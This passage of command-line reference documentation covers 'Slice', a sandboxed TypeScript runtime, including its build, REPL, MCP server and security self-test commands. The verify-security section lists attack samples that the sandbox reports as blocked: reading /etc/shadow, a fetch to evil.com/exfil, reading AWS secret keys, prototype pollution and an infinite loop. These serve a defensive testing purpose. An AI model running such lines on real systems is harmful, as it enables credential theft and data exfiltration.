Bind an ephemeral port, send 2 pipelined HTTP/1.1 Keep-Alive requests, print response headers/bodies, and exit. |
Examples:
# Serve a full-stack TypeScript app + ./public static assets on port 8080 across 8 workersslice serve ./src/server.ts --static=./public --port=8080 --workers=8 --env-file=.env
# Serve over native TLS 1.3slice serve ./src/server.ts --port=8443 --tls-cert=./certs/fullchain.pem --tls-key=./certs/privkey.pem
# Serve a multi-tenant directory of .cas bundles with zero-downtime hot-swappingslice serve --port=3000 --workers=8 --tenant-dir=./tenants
# Verify your HTTP handler with a quick self-contained smoke testslice serve ./src/server.ts --smoke-test7.6 slice pack <input_file_or_dir> <output.cas> [flags]
Section titled “7.6 slice pack <input_file_or_dir> <output.cas> [flags]”Compiles TypeScript via Oxc, bundles transitive ESM/CommonJS/JSON modules from src/ and node_modules/, tree-shakes unused barrel submodules, ahead-of-time compiles top-level scripts into SLICEBC\x01 Precompiled Boa CodeBlock bytecode (with Oxc AST deferred function module spans and pre-fused node:* built-in bindings), optionally embeds --static web assets and slice.toml, and writes a 64-byte cache-line aligned BLAKE3 .cas archive.
| Flag | Description |
|---|---|
--entry=<rel_path> |
Override the entrypoint file when packing a folder (e.g., --entry=./src/worker.ts). |
--static=<dir> |
Embed an entire static asset directory (HTML/CSS/JS/SVG/WASM) into the .cas archive. |
--boacas / --no-boacas |
Enable (default) or disable SLICEBC\x01 precompiled CodeBlock emission. |
Examples:
slice pack ./src/index.ts ./bundle.casslice pack ./my-fullstack-app ./production.cas --static=./public7.7 slice compile <input_file_or_dir_or_cas> [-o <output_binary>] [flags]
Section titled “7.7 slice compile <input_file_or_dir_or_cas> [-o <output_binary>] [flags]”Embeds a .ts script, folder application (including node_modules/ and slice.toml), or .cas archive directly into a standalone, zero-dependency native executable (SLICEEXE format) with SLICEBC\x01 Precompiled Boa CodeBlock bytecode enabled by default.
| Flag | Description |
|---|---|
-o <path> / --output=<path> |
Output executable path (automatically appends .exe on Windows if omitted). |
--entry=<rel_path> |
Override the entrypoint file when compiling a folder. |
--static=<dir> |
Embed a static frontend directory directly into the standalone binary. |
--boacas / --no-boacas |
Enable (default) or disable SLICEBC\x01 precompiled CodeBlock emission. |
Examples:
slice compile ./tests/apps/01-fintech-checkout -o ./fintech-service./fintech-service --warm --metrics7.8 slice inspect <archive.cas | script.ts | folder>
Section titled “7.8 slice inspect <archive.cas | script.ts | folder>”Inspects the internal structure of any .cas archive, .ts/.js script, or project folder:
- For
.casarchives: Prints the CAS format version, entrypoint hash, embedded static asset count, and every module’s BLAKE3 hash, 64-byte aligned byte offset, source size, and bytecode size, followed by the bytecode disassembly. - For
.ts/.jsfiles or folders: Compiles the source and disassembles the resultingSLICEBC\x01(BOACAS_PRECOMP),SLICESNP(CONST_NUM,MONO_FOR_T2,EXPORT_SYM), orSLICEBOAbundle payload.
slice inspect ./production.casslice inspect ./src/index.ts7.9 slice repl
Section titled “7.9 slice repl”Launches an interactive SES-Locked TypeScript/JavaScript Compartment Shell where you can test expressions, inspect fuel and memory consumption in real time, and verify Object-Capability permissions.
| REPL Command | Description |
|---|---|
:help / :h / .help / help |
Show available REPL meta-commands. |
:metrics |
Display current Execution Tier, CPU Fuel (consumed/limit), Memory (used/limit), and Hardware PKEY. |
:caps |
Display active CapabilityToken (allow_read, allow_write, allow_net, allow_exec, allow_env) loaded from ./slice.toml. |
:reset / .clear |
Reset the compartment state, SES intrinsics, and fuel counter to a clean slate. |
:quit / :q / :exit / .exit / .quit |
Exit the interactive shell. |
Example REPL Session:
$ slice replSlice (Nexus-JS) v0.15.0 Interactive SES-Locked Compartment Shellslice(ses)> const price: number = 250 * 4;=> 1000slice(ses)> fib(20)=> 6765slice(ses)> :metricsTier: Tier2PeakNative | Fuel: 31/50000000 | Memory: 4096/16777216 B | PKEY: 0x1slice(ses)> Object.prototype.hacked = true[TRAP] SES Lockdown Violation: attempted to mutate frozen intrinsic 'Object.prototype'slice(ses)> :resetCompartment reset (fresh SES intrinsics & fuel counter).slice(ses)> :quit7.10 slice mcp [flags]
Section titled “7.10 slice mcp [flags]”Starts the built-in JSON-RPC 2.0 Model Context Protocol (2024-11-05) server over stdin/stdout for AI coding assistants (Claude Code, Cursor, custom LLM agents). Exposes slice_eval_ts, slice_kv_get, slice_kv_set, and slice_checkpoint.
| Flag | Description |
|---|---|
--allow-read=<prefix> |
Grant VFS read prefix to the MCP host compartment. |
--allow-write=<prefix> |
Grant VFS write prefix to the MCP host compartment. |
--allow-net=<host:port> |
Grant outbound network host to the MCP host compartment. |
--allow-private-networks |
Allow DNS hostnames resolving to private/loopback IPs (cloud metadata remains unconditionally blocked). |
--allow-exec=<binary> |
Grant ExecCap binary execution authority to the MCP host compartment. |
--audit-egress=<secret|auto> / --audit-egress-file=<path> |
Block raw, Base64, or Base64URL exfiltration of secrets across all MCP tool calls. |
--no-checkpoints / --max-checkpoints=<N> |
Configure guest checkpoint limits for slice_eval_ts calls. |
--smoke-test |
Run a 6-step JSON-RPC 2.0 self-test (initialize, tools/list, slice_eval_ts, slice_kv_set, slice_kv_get, slice_checkpoint) and exit. |
7.11 slice doctor
Section titled “7.11 slice doctor”Runs a comprehensive diagnostic check of your OS kernel completion ring (io_uring / IOCP), registered fixed slab buffers, protection-key domain status (PKRU register switch on PKU-capable Linux x86_64 vs virtual slot tag), CAS 64-byte cache-line alignment, pre-warmed Boa pool, process RSS, and 5-vector OCap/SES security containment.
7.12 slice verify-security
Section titled “7.12 slice verify-security”Executes all 5 multi-tenant attack vectors against live SliceIsolate compartments and verifies 100% deterministic containment:
- Vector 1: SES Intrinsic Lockdown (
Object.prototype.polluted = true) -> Blocked (IntrinsicMutationBlocked) - Vector 2: OCap VFS Token (
fs.readFileSync("/etc/shadow")) -> Blocked (FsReadDenied) - Vector 3: OCap Network Token (
fetch("https://evil.com/exfil")) -> Blocked (NetAccessDenied) - Vector 4: OCap Env Token (
env("AWS_SECRET_ACCESS_KEY")) -> Blocked (EnvAccessDenied) - Vector 5: Deterministic CPU Fuel Cage (
while (true) {}) -> Preempted (CpuFuelExhausted)
7.13 slice microvm-bench [--tenants=1000] [--json]
Section titled “7.13 slice microvm-bench [--tenants=1000] [--json]”Spawns N isolated tenant compartments (default: 1000) in a single process and benchmarks:
- Min / P50 / P99 isolate cold-start latency (
~1 usP50 on Linuxx86_64) - Total 1,000-tenant swarm boot + execution time and per-tenant memory footprint (
4,096 Bper tenant; seetests/reports/latest.mdfor live numbers) - 500-module Zero-Stat CAS graph resolution (
0OSstat()syscalls) - 10,000 kernel completion ring operations
- Tier-2
Fib(40)+10Mnumeric loop compute kernel
7.14 slice info (or slice --version / slice -v)
Section titled “7.14 slice info (or slice --version / slice -v)”Prints the Slice version, host OS/architecture, active I/O completion engine, CAS version, compiler pipeline, and security architecture summary.